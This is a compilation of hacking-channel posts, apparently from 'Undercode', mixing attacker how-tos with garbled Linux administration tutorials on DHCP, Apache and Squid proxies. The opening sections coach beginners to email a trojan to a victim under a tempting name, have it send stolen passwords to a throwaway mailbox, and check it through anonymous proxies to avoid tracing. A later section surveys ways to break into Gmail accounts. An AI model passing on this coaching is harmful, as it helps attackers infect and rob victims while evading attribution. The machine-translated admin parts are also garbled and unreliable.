🦑 Most popular uses for Torjans- for beginers :
t.me/undercodeTesting

🦑 Trojan

1) Using trojans is the most stupid and unreliable way for network administrators, but it is suitable for ordinary users, because it is easier for them to plant the server part of the program. Although there are nonprofessionals among administrators, few people come across such jokes.

2) But who said that only they exist on the net? There are still a bunch of simple users with great privileges and a gullible soul. That is precisely what they need to be trojaned.

3) The Trojan program consists of two parts - the client and the server. The server needs to be thrown onto the victim's computer and made it run the file. Most often, the trojan is registered at startup and starts with the OS and is invisible in the system. After that, you connect to the server part using the client and perform the actions laid down in the program, for example, restarting the computer, stealing passwords, etc.

🦑 How to throw a trojan? The most common way is a mailbox. Just give the server-side executable some nice name and send a message to the victim.

1) The text of the letter should contain soft, but tempting calls to launch the attached file. This is the same as the spread of viruses, letters with which we see every day in our mailboxes. If the user starts the server part, then consider that you have become the king on his computer. Now you will have access to everything that a war horse can do for you.

2) If the Trojan program is aimed at stealing passwords, then after infection, it can quietly send a message with a password file to a specific E-mail address. Professionals easily find such addresses (using the debugging application), but this all stops. Professional hackers are not stupid, and for Trojans they register mail addresses on free services, and false information about the owner is indicated.

3) An attacker starts up a mailbox or checks it for letters with passwords only through an anonymous proxy server, and it becomes very difficult to find out the real IP address of a person.

4) Trojans have become very widespread due to the fact that it is not easy to calculate the author, subject to simple rules of anonymity. At the same time, using the programs themselves has become a primitive task.

5) The danger posed by trojans is also confirmed by the fact that most anti-virus programs began to scan not only for viruses, but also for trojans. For example, antivirus programs identify Back Orifice as Win32.BO virus.

🦑MOST ACTIVE GMAIL HACKING IN LAST 7 DAYS
instagram.com/undercodeTesting


🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) Phishing

This is a technology widely used by people to secretly crack Gmail passwords. The fishing process does not require any special technical knowledge and skills. Its main working principle is to copy the original login page of Gmail and steal the user's password. If the user has no experience with the computer, he or she will not notice that the page looks suspicious. This is why they may type a password to log in to Gmail that is automatically transmitted to the hacker. This way he / she will receive a valid password to log in to Gmail and read all required emails.

2) Plain Grabbing

It is used to steal the victim's password. The attacker needs to crack the specific website where the target victim is a member and steal his username and password from the website's database. People often use the same secret vocabulary on many websites. Therefore, the attacker is likely to log into the victim's Gmail and read the email secretly.

3) Browser extension Gmail Hacker

With this method, attackers will not steal your password, but they can indirectly access and control your computer. People can install various additional components upon request. The hacker created a fake plug-in and waited for the victims to fix it, giving them easy access to their email. If a person is not an experienced PC user, he or she will not suspect that the plug-in is fake. This is why it is important not to install any programs from sources you do not trust.

4) Trojan horse

Trojan horses can monitor the victims' computers and control their activities in Gmail. They also record all content of the victim type and display all information so that the attacker can read all logs. Trojan horse program is a program that can be easily hidden in any software (such as media files). Victims can obtain Trojan horses by email or download them on the Internet.

🦑 Set up Your DHCP Server as A hacking
> Full by Undercode :
t.me/UndercodeTesting

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) Erection DHCP Server

DHCP is the abbreviation of Dynamic Host Configuration Protocol, mainly used to simplify network management in: The problem of "trouble" in workstation / host network configuration settings, commonly known as: "" dynamic allocation of IP "".

2) Compared with the dynamic allocation mechanism, it uses manual and manual methods to set one by one , Is called static setting.

> Static setting is quite inefficient.

🦑Imagine: If there are hundreds of workstations in a network segment, manually set it manually, it is not strange to be tired, and, in the future, if you want to change The network configuration is also extremely inconvenient!

1) Therefore, in the network management work, DHCP Server is a very important erection service. In the

2) past, most of the school ’s DHCP Servers were installed on NT / W2K, but the performance and The stability is not very good,

3) therefore, the following introduces the installation of DHCP Server on RedHat Linux.

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

Required packages:

dhcp-2.0-5.i386.rpm (RedHat 6.2)

dhcp-2.0-12.i186.rpm (RedHat 7.0)

dhcp-2.0-12.i386.rpm (CLE 1.0)

dhcp-2.0p15-4.i386.rpm ( RedHat 7.1)

2) Please choose the dhcp Server package according to your Linux version.

3) Setting up:

🦑 On RedHat Linux, setting up a DHCP Server is very simple!

1) Installation:

(a) rpm -ivh dhcp-2.0-5.i386. After rpm

(b), check, what files are installed in the host?

rpm -ql dhcp | more

2) will get the following list:

/etc/rc.d/init.d/dhcpd
/ usr / doc / dhcp- 2.0
/usr/doc/dhcp-2.0/CHANGES
/usr/doc/dhcp-2.0/README
/usr/doc/dhcp-2.0/RELNOTES
/usr/doc/dhcp-2.0/dhcpd.conf.sample
/ usr / man / man5 / dhcp-options.5.gz
/usr/man/man5/dhcpd.conf.5.gz
/usr/man/man5/dhcpd.leases.5.gz
/usr/man/man8/dhcpd.8.gz
/usr/man/man8/dhcrelay.8.gz
/ usr / sbin / dhcpd
/ usr / sbin / dhcrelay
/ var / state / dhcp

, of which two are more important :

3) One is, /etc/rc.d/init.d/dhcpd, which can be used to control the behavior of the dhcp server, such as:

start: /etc/rc.d/init.d/dhcpd start
stop: / etc / rc .d / init.d / dhcpd stop
restart: /etc/rc.d/init.d/dhcpd restart

4) Observe the operation status: /etc/rc.d/init.d/dhcpd status The

other is, / usr / doc /dhcp-2.0/dhcpd.conf.sample
(RedHat 7.0 in /usr/share/doc/dhcp-2.0)

5) As the name implies, this is a configuration file of the dhcp server, wait a minute, we will copy it to / etc , And named dhcpd.conf.

(C) cp /usr/doc/dhcp-2.0/dhcpd.conf.sample /etc/dhcpd.conf

Configuration:

Then, you can start the configuration file for dhcp server / etc / dhcpd.conf to do the setting work. The

following is the original content of the file:



subnet 192.168.0.0 netmask 255.255.255.0 {

# --- default gateway

special Note:! your school ID card (each card the world's only) and this will not be the same as this, do not copy here of the set value yo

6) this may dhcp server Coexist with the original dhcp server on NT / W2K, but please note that the IP allocation segment should be staggered.

So, in the end, which dhcp server the workstation will get dynamic allocation?

7) Very simple, when the workstation sends a request (request ) Message, whoever grabs it first will provide it first.

🦑 Execution:

/etc/rc.d/init.d/dhcpd start

will not succeed the first time,

If it is dhcp-2.0-5 version, it will show a failed red string and warn you:

/var/state/dhcp/dhcpd.leases This file does not exist, so you must manually open a new file:

touch / var

8) The purpose of the /state/dhcp/dhcpd.leases file is to record the status of leased IP of each workstation.

If it is a version after DHCP-2.0-12, no message will appear, and you will find that it does not work.

9) This is Because: Once this version finds that you have not opened this file, it will jump out without running.

10) And the location of this file is slightly different:

it is located in /var/lib/dhcp/dhcpd.leases

OK, open it manually ?!

touch /var/lib/dhcp/dhcpd.leases

11) can now be started, and set it to run automatically upon booting (either linuxconf or ntsysv can be set)

/etc/rc.d/init.d/dhcpd start

Congratulations ! Your school already has a very stable DHCP server!


🦑 Note:

If you have a Linux firewall, you want to allocate the DHCP server from a certain network card (one network card represents a network segment),

for example: Zhang network card interface eth1 dispensed, as long as the modifications to /etc/rc.d/init.d/dhcpd.

follows:

the start daemons place

by the:

daemon / usr / sbin / dhcpd

changed to:

daemon / usr / sbin / dhcpd eth1


🦑 Conclusion:

DHCP Server is a very important tool in network management work. It is also wise to set up more than two backups.

And, from then on, you It is no longer necessary to rely on NT / W2K, a system with poor performance and instability (the price-to-earnings ratio is too low).

(It is not necessary to be restricted to a closed company, and do not have to spend a lot of money, it is the network of primary and secondary schools. Build, the best PE ratio choice!)

🦑CREATE YOUR OWN HOST FILE :
Interpretation of apache configuration file http.conf by Undercode :
fb.com/undercodeTesting

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :


1) interpretation apache configuration file http.conf
recently wanted to do with their own server machines, because I know enough about the contents of http.conf, as well as their own path detours. Now explain the meaning of several options that need to be modified frequently in this file,

2) Bindaddress 127.0.0.1, this option means to bind your own IP address. If you are a stand-alone, this is your IP address; if your machine is online, then Bindaddress is followed by your IP address (I wasted a lot of time because I did not change the IP address here to my own IP address ).
Servername localhost, this option is the domain name of your machine

3) If you are a stand-alone, the domain name is localhost; if you are connected to the Internet, you should connect the domain name behind Servername, if not, then connect your own IP address.
Port 80, this option is to indicate the port the server is listening on, generally defaults to 80, and can be changed to 80 or 8080.

4) ScriptAlias ​​/ php4 / \ "C: / php4 / \"
AddType application / x-httpd-php4 .php
AddType application / x-httpd-php4 .php3
AddType application / x-httpd-php4 .php4
Action application / x-httpd- php4 \ "/ php4 / php.exe \" The
above options allow your Apache to support PHP4.
About the default startup document: Apache's default startup document is index.html DirectoryIndex index.html Change it to the default startup document you want. Want to support more documents like this:
DirectoryIndex index.htm
DirectoryIndex index.php
DirectoryIndex index.php3
DirectoryIndex index.php4

> Well, with these options APACHE should basically be able to run normally!

🦑 Traditional proxy, transparent proxy, plug-gw, Apache reverse proxy, IP disguiseThe first part of the characteristics of various proxy methods and package rewriting process Full by Undercode
t.me/undercodeTesting

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) Squid traditional proxy and transparent proxy: The

most widely used traditional proxy and transparent proxy on Linux is Squid. The default Squid is configured as a traditional proxy.
In this way, the windows client has to set the proxy server address and port number in the browser, and the client has
very little work to do . You only need to specify the IP address and port number of the proxy server, and everything else is left to the proxy server
to do. An obvious feature in this way is that when a Windows client browses a webpage and enters a URL, the DNS is also done by the proxy
server.

2) The DNS resolution process is based on the resolution order in the /etc/host.conf file set in the Linux server.
The general order is to find / etc / hosts first, then find the DNS database bind. An interesting example in this case is that if you set the
domain name of a site as a server in your intranet, then go to the intranet server first.

3) If you set
192.168.11.3 www.yahoo.com, it is impossible for your browser to access the yahoo site on the Internet.
But if you set up a transparent proxy, the DNS order of resolution will become
windowshosts and then the DNS database of Linux. It is no longer possible to check the / etc / hosts file on the Linux server.
For the introduction of transparent proxy, see another article in the article collection "How to set up a transparent proxy in Linux"

4) The package rewriting process of traditional proxy and transparent proxy: see the following :


[PC] A [Linux squid server] B
192.168.11.12_ | _____ 192.168.11.5 | ___ 1.2.3.4 _________ Internet



🦑 Set the proxy to 192.168.11.5 and the port number to 3128 on the browser of the user of machine A, and use B to access the Internet.
If you visit www.linuxforum.net, in fact, as long as you set up a proxy, the user's browser only

6) communicates with the Linux Squid server and never talks to the www.linuxforum.net server on the Internet. The Squid proxy server first
www.linuxforum.net for parsing (find the parsing sequence in /etc/host.conf, first / etc / hosts and then DNS lookup)
to the IP address 202.106.124.185, and finally the proxy server replaces the IP address for the client For HTTP access, the returned
information is first cached in the Squid cache, and a copy is also copied to the client. If the user or another user visits the same page next time,
it can be saved from the Squid cache.

🦑 The process of transparent proxy is similar to traditional proxy, the difference is

1) The DNS resolution process is different, as already mentioned

2) The transparent proxy gateway must be set to the IP address of the Squid proxy server, which is not required for traditional proxy.

3) The transparent proxy needs to set the input rules of the fire chain. The
rest is the same as the traditional proxy method of Squid.

plug-gw:
plug-gw is a general agent program included in FWTK. Can be used to proxy application layer services like POP3, HTTP, etc.

[PC] A [Linux POP3] C [Linux plug-gw] B
192.168.11.12_ | ______ | 192.168.11.1 ____ 192.168.11.5 | ___ 1.2.3.4__Internet

🦑 If there is a Linux on the internal network segment POP3 server C (192.168.11.1), the user can wish to receive an external message
may be set in the plug-gw POP3 proxy machine B as follows:

1) place the following line to /etc/rc.d/rc.local
/ usr / local / etc / plug-gw -daemon 1.2.3.4:110 -name plug-gw-pop3 &
file / usr / local / etc / netperm-table has the following line
plug-gw-pop3: port 110 * -plug-to 192.168. 11.1 -port 110
